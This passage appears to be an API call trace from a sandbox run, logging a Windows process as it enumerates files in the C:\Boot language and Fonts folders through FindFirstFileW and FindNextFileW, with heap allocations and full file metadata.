ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.899] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0052.899] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.899] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.899] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.899] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.900] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.900] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.900] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.900] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.900] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0052.900] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.900] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0052.900] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.901] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.901] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.903] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.903] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0052.903] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.903] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0052.903] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.903] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0052.904] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.904] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0052.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0052.904] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.904] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260740 [0052.904] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.904] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0052.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0052.904] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.904] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260600 [0052.905] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.905] FindClose (in: hFindFile=0x4260600 | out: hFindFile=0x4260600) returned 1 [0052.905] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0052.905] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.906] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0052.908] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, 